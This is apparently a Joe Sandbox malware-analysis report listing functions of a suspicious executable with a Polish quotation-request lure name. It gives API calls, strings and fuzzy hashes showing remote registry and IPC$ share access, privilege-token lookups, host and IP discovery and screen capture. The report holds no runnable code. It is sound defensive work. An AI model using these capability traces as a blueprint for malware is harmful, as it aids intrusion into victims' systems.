Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Menu$Delete$Destroy$ItemObject$CountDrawIconInfoWindow_memset
String ID: 0
API String ID: 1663942905-4108050209
Opcode ID: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
Instruction ID: b4bdd7d0bd4ee66815c45afb4cba49e6688c1fb7c5fb2b704b87d0eb3faa17d4
Opcode Fuzzy Hash: 9367fca2e423954c8e95e5664296e443175f4f0a3dc8af8de701f007cae6aaa4
Instruction Fuzzy Hash: F4413B70600A01AFD715DF24D9A8B6B77A8BF44302F40891DFD49CB292DB78EC44CBA9

Function 0047D5F6 Relevance: 21.2, APIs: 4, Strings: 8, Instructions: 210COMMON

Download Yara Rule

APIs

CoTaskMemFree.OLE32(?), ref: 0047D6D3

Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2

StringFromCLSID.OLE32(?,?), ref: 0047D6B5

Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012

StringFromIID.OLE32(?,?), ref: 0047D7F0
CoTaskMemFree.OLE32(?), ref: 0047D80A

Strings

HH, xrefs: 0047D62E
ToolBoxBitmap32, xrefs: 0047D719
Interface\, xrefs: 0047D810
ProgID, xrefs: 0047D74C
CLSID\, xrefs: 0047D6E1
inprocserver32, xrefs: 0047D725
localserver32, xrefs: 0047D740
0vH, xrefs: 0047D860

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: FreeFromStringTask_wcslen$_wcscpy
String ID: 0vH$CLSID\$Interface\$ProgID$ToolBoxBitmap32$inprocserver32$localserver32$HH
API String ID: 2485709727-934586222
Opcode ID: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
Instruction ID: 9b1d76abf7044590dd80f2c514dab21f357569e7696d0ed80310904c07b122bf
Opcode Fuzzy Hash: 94ff36e8c5adf47d5d15ad8c3baf2c81511e2686fb9cf3bb874d512fd4cd8d9e
Instruction Fuzzy Hash: 63714BB5614201AFC304EF25C981D5BB3F8BF88704F108A2EF5599B351DB78E905CB6A

Function 00434506 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162windowCOMMON

Download Yara Rule

APIs

GetDC.USER32(00000000), ref: 00434585
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 00434590
CreateCompatibleDC.GDI32(00000000), ref: 0043459B
SelectObject.GDI32(00000000,?), ref: 004345A9
StretchBlt.GDI32(00000000,00000000,00000000,?,?,00000000,?,?,?,?,00CC0020), ref: 00434618
GetDIBits.GDI32(00000000,?,00000000,00000000,00000000,?,00000000), ref: 00434665

Strings

(, xrefs: 0043464B

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CompatibleCreate$BitmapBitsObjectSelectStretch
String ID: (
API String ID: 3300687185-3887548279
Opcode ID: 770037f5b0ff7f536cd68d347e59f283a70e312de6d16b75d95e978237f22954
Instruction ID: a007e7ec8c3f390601fcb6226b5fc218b62818acb39bbc9fe8cd9ddeb27b86ed
Opcode Fuzzy Hash: 770037f5b0ff7f536cd68d347e59f283a70e312de6d16b75d95e978237f22954
Instruction Fuzzy Hash: E4514871508345AFD310CF69C884B6BBBE9EF8A310F14881DFA9687390D7B5E844CB66

Function 0045E41B Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,00000066,?,00000FFF), ref: 0045E463

Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71

LoadStringW.USER32(?,00000072,?,00000FFF), ref: 0045E480
__swprintf.LIBCMT ref: 0045E4D9
_printf.LIBCMT ref: 0045E595
_printf.LIBCMT ref: 0045E5B7

Strings

%s (%d) : ==> %s:, xrefs: 0045E5B2
Error: , xrefs: 0045E556
%s (%d) : ==> %s:%s%s, xrefs: 0045E590
Line %d (File "%s"):, xrefs: 0045E4BB, 0045E4CF
HH, xrefs: 0045E4D4, 0045E4C0, 0045E4C4, 0045E4D8
^ ERROR , xrefs: 0045E523

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: LoadString_printf$__swprintf_wcslen
String ID: Error: $%s (%d) : ==> %s:$%s (%d) : ==> %s:%s%s$Line %d (File "%s"):$^ ERROR $HH
API String ID: 3590180749-2894483878
Opcode ID: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
Instruction ID: 42a5c2f6345f2e10047da6565a111f96cfad8617a22bea28fc44504b1d19b7ce
Opcode Fuzzy Hash: ef66654f81976a0e6a78d75721240b4b5dad2d0c7f05b7bb9659983eace5fa73
Instruction Fuzzy Hash: 9F51A171518345ABD324EF91CC41DAF77A8AF84754F04093FF94463292EB78EE488B6A

Function 004334CA Relevance: 21.1, APIs: 14, Instructions: 132filecommemoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,?,?,?,?,?,?,?,0046FAD5), ref: 004334F4
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043350F
GlobalAlloc.KERNEL32(00000002,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043351A
GlobalLock.KERNEL32(00000000), ref: 00433523
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433533
GlobalUnlock.KERNEL32(00000000), ref: 0043353A
CloseHandle.KERNEL32(00000000,?,?,?,?,0046FAD5,?,?,?,?), ref: 00433541
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,?,?,?,0046FAD5,?,?,?,?), ref: 0043354F
OleLoadPicture.OLEAUT32(?,00000000,00000000,00482A20,?), ref: 00433568
GlobalFree.KERNEL32(00000000), ref: 0043357B
GetObjectW.GDI32(?,00000018,?), ref: 004335A6
CopyImage.USER32(?,00000000,?,?,00002000), ref: 004335DB
DeleteObject.GDI32(?), ref: 00433603
SendMessageW.USER32(?,00000172,00000000,?), ref: 0043361B

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Global$File$CreateObject$AllocCloseCopyDeleteFreeHandleImageLoadLockMessagePictureReadSendSizeStreamUnlock
String ID:
API String ID: 3969911579-0
Opcode ID: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
Instruction ID: 5aed18668fdc988692497ed4484016cc97142e8c7c748bcd34b77a3330007e11
Opcode Fuzzy Hash: c8af0a6d34b3156cf5dea3d494721158f709963105dd3e2632bd1b1f7de041f4
Instruction Fuzzy Hash: 70410471204210AFD710DF64DC88F6BBBE8FB89711F10492DFA45972A0D7B5A941CBAA

Function 004582BF Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 165registryCOMMON

Download Yara Rule

APIs

StringFromIID.OLE32(?,?,00000003,?,?,00000000), ref: 004582E5

Part of subcall function 0040FFF0: _wcslen.LIBCMT ref: 0040FFF2
Part of subcall function 0040FFF0: _wcscpy.LIBCMT ref: 00410012

Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2

CoTaskMemFree.OLE32(?,00000000), ref: 00458335
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,?), ref: 00458351
RegQueryValueExW.ADVAPI32 ref: 00458381
CLSIDFromString.OLE32(00000000,?), ref: 004583AF
RegQueryValueExW.ADVAPI32 ref: 004583E8
LoadRegTypeLib.OLEAUT32(?,?), ref: 00458486

Part of subcall function 00413F97: __wtof_l.LIBCMT ref: 00413FA1

RegCloseKey.ADVAPI32(?), ref: 004584BA

Strings

\TypeLib, xrefs: 00458319
Version, xrefs: 004583DA
interface\, xrefs: 00458300

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: FromQueryStringValue_wcslen$CloseFreeLoadOpenTaskType__wtof_l_wcscpy
String ID: Version$\TypeLib$interface\
API String ID: 656856066-939221531
Opcode ID: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
Instruction ID: 73379605cfaaf105ee685c6daddaf2c4824f5dc828714578f474d0d05c7db838
Opcode Fuzzy Hash: fae0be2ce993580ee9701cb6b1f6a998fde8705fa16d3e1feab2af977247b743
Instruction Fuzzy Hash: 19513B715083059BD310EF55D944A6FB3E8FFC8B08F004A2DF985A7251EA78DD09CB9A

Function 004580E1 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 136registryshareCOMMON

Download Yara Rule

APIs

Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2

_memset.LIBCMT ref: 00458194
WNetAddConnection2W.MPR(?,?,?,00000000), ref: 004581D6
RegConnectRegistryW.ADVAPI32(?,80000002,00000000), ref: 004581F4
RegOpenKeyExW.ADVAPI32(?,?,00000000,00020019,00000000), ref: 00458219
RegQueryValueExW.ADVAPI32(00000000,00000000,00000000,00000000,?,?), ref: 00458248
CLSIDFromString.OLE32(00000000,?), ref: 00458279
RegCloseKey.ADVAPI32(00000000), ref: 0045828F
RegCloseKey.ADVAPI32(00000000), ref: 00458296

Strings

\CLSID, xrefs: 00458141
SOFTWARE\Classes\, xrefs: 00458123
\IPC$, xrefs: 004581B2

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Close$ConnectConnection2FromOpenQueryRegistryStringValue_memset_wcslen
String ID: SOFTWARE\Classes\$\CLSID$\IPC$
API String ID: 2255324689-22481851
Opcode ID: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
Instruction ID: 0916ae95de1959dc40878de41837780f7e862baf069d4d5c3429810960799c2e
Opcode Fuzzy Hash: 40f125b4ffe5f12493adc0cb93ab67eb911e8c28f62e3d79c4190a4fe5521cad
Instruction Fuzzy Hash: 4A4190725083019BD320EF54C845B5FB7E8AF84714F044D2EFA8577291DBB8E949CB9A

Function 004584D6 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 105registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000000,interface,00000000,00020019,?), ref: 00458513
RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,?), ref: 00458538
RegCloseKey.ADVAPI32(?), ref: 00458615

Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2

RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,000001FE,interface\), ref: 0045858A
RegQueryValueExW.ADVAPI32(?,00000000,00000000,00000000,?,00000028), ref: 004585A8
__wcsicoll.LIBCMT ref: 004585D6
IIDFromString.OLE32(?,?,?,?), ref: 004585EB
RegCloseKey.ADVAPI32(?), ref: 004585F8

Strings

(, xrefs: 00458603
interface, xrefs: 00458509
interface\, xrefs: 00458551

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: CloseOpen$EnumFromQueryStringValue__wcsicoll_wcslen
String ID: ($interface$interface\
API String ID: 2231185022-3327702407
Opcode ID: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
Instruction ID: 2ed788c9a442d2de66cb2a0eaf665167c450c6ff9570aaff4df7cfaf3afbbce1
Opcode Fuzzy Hash: f3ba987632fb2ab980929a1e8c26c1d4f1068388d2a95cb25d4e52b6d927b3fe
Instruction Fuzzy Hash: CE317271204305ABE710DF54DD85F6BB3E8FB84744F10492DF685A6191EAB8E908C76A

Function 00436582 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 79networkCOMMON

Download Yara Rule

APIs

WSAStartup.WSOCK32(00000101,?), ref: 004365A5
gethostname.WSOCK32(00000100,00000100,00000101,?), ref: 004365BC
gethostbyname.WSOCK32(00000101,00000100,00000100,00000101,?), ref: 004365C6
_wcscpy.LIBCMT ref: 004365F5
WSACleanup.WSOCK32 ref: 004365FD
inet_ntoa.WSOCK32(00000100,?), ref: 00436624
_strcat.LIBCMT ref: 0043662F
_wcscpy.LIBCMT ref: 00436644
WSACleanup.WSOCK32(?,?,?,?,?,?,00000100,?), ref: 00436652
_wcscpy.LIBCMT ref: 00436666

Strings

0.0.0.0, xrefs: 004365EF

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: _wcscpy$Cleanup$Startup_strcatgethostbynamegethostnameinet_ntoa
String ID: 0.0.0.0
API String ID: 2691793716-3771769585
Opcode ID: 57f2c181a27470c194a8cdbecf1eb3e0ca51f5c4589d89623b6c5db8a4b939a4
Instruction ID: 29d249c793a1599df1911ffab6ed89036a29d54f41df1114d8fa63e2d2305339
Opcode Fuzzy Hash: 57f2c181a27470c194a8cdbecf1eb3e0ca51f5c4589d89623b6c5db8a4b939a4
Instruction Fuzzy Hash: 5C21D4726003016BD620FB269C42FFF33A89FD4318F54492FF64456242EABDD58983AB

Function 0044920C Relevance: 18.2, APIs: 12, Instructions: 243windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000000,000000FF,?), ref: 0044931D
SendMessageW.USER32(?,0045BBB0,00000000,00000000), ref: 0044932D
CharNextW.USER32(?,?,?,?,0045BBB0,00000000,00000000,?,?), ref: 00449361
SendMessageW.USER32(?,?,00000000,00000000), ref: 00449375
SendMessageW.USER32(?,00000402,?), ref: 0044941C
SendMessageW.USER32(004A83D8,000000C2,00000001,?), ref: 004494A0
SendMessageW.USER32(?,00001002,00000000,?), ref: 00449515

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: MessageSend$CharNext
String ID:
API String ID: 1350042424-0
Opcode ID: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
Instruction ID: cf19a455924c4199ae2d31ef2e344bdd2865620a2145bd440d1f5c61272ee54d
Opcode Fuzzy Hash: 5fd89deb92f75c0e0d7406111af65340a6b95ffecf1ba9c2db83920ef449de6e
Instruction Fuzzy Hash: 5D81B5312083019BE720DF15DC85FBBB7E4EBD9B20F00492EFA54962C0D7B99946D766

Function 0046B39A Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 401registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00401B70: _wcslen.LIBCMT ref: 00401B71

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0046B479

Strings

HH, xrefs: 0046B3D0

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ConnectRegistry_wcslen
String ID: HH
API String ID: 535477410-2761332787
Opcode ID: e458a1a49b2b56e0ac75d97a83cfcf26a1eabdc4e564b16f125673ba34925c8c
Instruction ID: 7a368be733395892e28f24b11b3b05e85d853a2cd395d98498a1c99032eed9d9
Opcode Fuzzy Hash: e458a1a49b2b56e0ac75d97a83cfcf26a1eabdc4e564b16f125673ba34925c8c
Instruction Fuzzy Hash: 63E171B1604200ABC714EF28C981F1BB7E4EF88704F148A1EF685DB381D779E945CB9A

Function 00460473 Relevance: 17.8, APIs: 9, Strings: 1, Instructions: 255COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000400), ref: 004604B5
GetWindowTextW.USER32(?,?,00000400), ref: 004604F1
_wcslen.LIBCMT ref: 00460502
CharUpperBuffW.USER32(?,00000000), ref: 00460510
GetClassNameW.USER32(?,?,00000400), ref: 00460589
GetWindowTextW.USER32(?,?,00000400), ref: 004605C2
GetClassNameW.USER32(?,?,00000400), ref: 00460606
GetClassNameW.USER32(?,?,00000400), ref: 0046063E
GetWindowRect.USER32(?,?), ref: 004606AD

Strings

ThumbnailClass, xrefs: 00460594, 0046060D

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: ClassName$Window$Text$BuffCharRectUpper_wcslen
String ID: ThumbnailClass
API String ID: 4123061591-1241985126
Opcode ID: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
Instruction ID: b645ef8d54a60b7d8a856e9fdf4d8999e4c56e3b903fe9b51be5921097eabf2a
Opcode Fuzzy Hash: d81b9eb1014bf0c552f647121340d293adfb5e43e55e37c5a686eb3c785bede7
Instruction Fuzzy Hash: 3F91B0715043019FDB14DF24C884BAB77A8EF84715F04896FFD85AA281E778E905CBAB

Function 0046F50B Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 157windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00456354: GetCursorPos.USER32(004A83D8), ref: 0045636A
Part of subcall function 00456354: ScreenToClient.USER32(004A83D8,?), ref: 0045638A
Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563D0
Part of subcall function 00456354: GetAsyncKeyState.USER32(?), ref: 004563DC

DefDlgProcW.USER32(?,00000205,?,?,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F55F
ImageList_DragLeave.COMCTL32(00000000,004A83D8,00000000,00000001,004A83D8,?), ref: 0046F57D
ImageList_EndDrag.COMCTL32 ref: 0046F583
ReleaseCapture.USER32 ref: 0046F589
SetWindowTextW.USER32(?,00000000), ref: 0046F620
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 0046F630

Strings

@GUI_DROPID, xrefs: 0046F65F
@GUI_DRAGFILE, xrefs: 0046F694
HH, xrefs: 0046F686

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: AsyncDragImageList_State$CaptureClientCursorLeaveMessageProcReleaseScreenSendTextWindow
String ID: @GUI_DRAGFILE$@GUI_DROPID$HH
API String ID: 2483343779-2060113733
Opcode ID: 6817a6ec856fbae515f8bb33f78f5e1c2ffd77adef612602a1ed80cc7d67db9d
Instruction ID: 4b94e37398fb4c0e8bf176de98e3888209b69965db7f8e5b86c8cb252d1f017b
Opcode Fuzzy Hash: 6817a6ec856fbae515f8bb33f78f5e1c2ffd77adef612602a1ed80cc7d67db9d
Instruction Fuzzy Hash: EB5106716043119BD700DF18DC85FAF77A5EB89310F04492EF941973A2DB789D49CBAA

Function 004393E2 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 109threadCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439409
OpenThreadToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 0043940C
GetCurrentProcess.KERNEL32(00000008,?,?,?,?,?,?,?,?,?,?), ref: 0043941D
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?), ref: 00439420
LookupPrivilegeValueW.ADVAPI32(00000000,SeAssignPrimaryTokenPrivilege,?), ref: 0043945B
LookupPrivilegeValueW.ADVAPI32(00000000,SeIncreaseQuotaPrivilege,?), ref: 00439474
_memcmp.LIBCMT ref: 004394A9
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004394F8

Strings

SeAssignPrimaryTokenPrivilege, xrefs: 00439455
SeIncreaseQuotaPrivilege, xrefs: 0043946A

Memory Dump Source

Source File: 00000001.00000002.2055576664.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2055542354.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055838002.0000000000482000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.0000000000490000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2055879208.00000000004A7000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000001.00000002.2056049270.00000000004AB000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_zapytanie ofertowe st-2024-s315 cpa9170385.jbxd

Similarity

API ID: Process$CurrentLookupOpenPrivilegeTokenValue$CloseHandleThread_memcmp
String ID: SeAssignPrimaryTokenPrivilege$SeIncreaseQuotaPrivilege
API String ID: 1446985595-805462909
Opcode ID: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
Instruction ID: 628aaead06b6f58e004e5b45c2ed9710a22b4d2b921ab75b424857e8fd72c9d6
Opcode Fuzzy Hash: 7b5964ebc210eec24af21402e2b7f40e95def761f5b1447ed6d44f65f7ea18b7
Instruction Fuzzy Hash: DB31A371508312ABC710DF21CD41AAFB7E8FB99704F04591EF98193240E7B8DD4ACBAA

Function 00467214 Relevance: 16.8, APIs: 11, Instructions: 313COMMON

Download Yara Rule

APIs

SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 004672E6
SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046735D
SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467375
SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 004673ED
SafeArrayGetVartype.OLEAUT32(CE8B7824,?), ref: 00467418
SafeArrayAccessData.OLEAUT32(CE8B7824,?), ref: 00467445
SafeArrayUnaccessData.OLEAUT32(CE8B7824), ref: 0046746A
